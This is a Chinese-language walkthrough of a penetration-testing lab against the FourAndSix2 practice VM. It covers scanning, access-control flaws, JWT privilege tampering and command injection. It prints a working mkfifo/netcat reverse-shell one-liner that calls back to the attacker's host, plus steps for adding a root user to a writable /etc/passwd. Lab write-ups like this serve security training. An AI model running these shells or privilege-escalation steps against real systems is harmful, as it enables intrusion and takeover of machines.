一台kali,一台FourAndSix2,能相互ping通
1.主机发现,用kali扫描靶机ip地址为192.168.56.103
netdiscover -I eth0 -r 192.168.56.0/24
利用nmap扫描开放端口和服务
nmap -sV -T4 -O 192.168.56.103
1.发现只开放了80端口,然后访问该IP地址,发现登录界面,尝试目录扫描,发现没有可用信息
2.查看主页,发先上面有一个注册按钮,但是点击之后报错
3.查看js文件, 使用Register关键字进行搜索;根据js的定义,我们可以使用post提交新账户信息来完成注册
4.抓包,导入repeater里面构造数据包,然后post数据包,将之前的认证改为register,发送注册成功
5.用注册的账户登录,成功登陆
6.再次注册几个账号
7.测试是否存在逻辑漏洞
登录111观察网页特点,发现url中路径结尾和用户名一样,测试是否存在越权漏洞,在不登出111用户的前题下,把url修改位别的用户名,下图可以看到成功登录别的用户界面,说明存在水平越权漏洞
8.测试是否存在未授权访问漏洞
在另一个浏览器,访问http://192.168.56.103/profile/222,没有经过身份验证直接进入222账户的管理界面
9.再次登录222用户,发现页面没什么,没有什么可以利用的,重新登录,抓包分析,靶机返回一个奇怪的token
10. 返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;
JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
11.查看token信息:搜索jwt解密,就可以得到如下的网址,也就是jwt解密的网址;
12.将brupsuite中抓到的token中的信息进行破解;
14.可以看到有个auth_level的参数,通过名字可以看出是关于用户权限的,我们可以使用这个参数去在js文件中进行搜索;
15. 可以看到master_admin_user疑似管理员,尝试用它替换掉standard_user
在burp拦截响应数据包,修改响应数据包,然后转发
16.此时再看kkk账户已经变成管理员,说明存在垂直越权漏洞
17.点击管理员,修改密码处存在命令执行漏洞,获取shell;抓包,然后发送到repeater发现密码不正确,但是服务器返回的状态依然是200
18.直接在修改密码处执行漏洞拿反弹shell;此处的反弹shell为:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234 >/tmp/f;
在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了
提权
1.查看whoami,发现没权限
2.查看passwd权限,可以看到权限为777
3.添加一个具有root权限的账户,命令
perl -le ‘print crypt(“admin”, “sa”)’
PS: 其中,admin为加密的密码;admin表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
4.将新创建的用户写到passwd文件中,命令:
echo ‘admin: adpexzg3FUZAk:0:0:admin:/root:/bin/bash’
然后查看
5.当前不是终端,无法切换用户,用命令切换,然后获得管理员权限,命令
python -c 'import pty;pty.spawn("/bin/bash")'
1.信息收集
2.水平越权
3.垂直越权
4.未授权访问
5.任意账户注册
6.命令执行
一般情况下,如果网站没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口;
如果一个页面输入的用户名或密码错误,但是返回的状态码依然是200的话,就可以尝试进行命令执行漏洞,获取shell;
如果普通用户权限对/etc/passwd文件有写权限,我们就可以提权时创建一个新用户(perl -le ‘print crypt(“pass”,“aa”)’),将其以root用户的格式写入/etc/passwd文件中,然后su 创建的用户 就可以提权成功;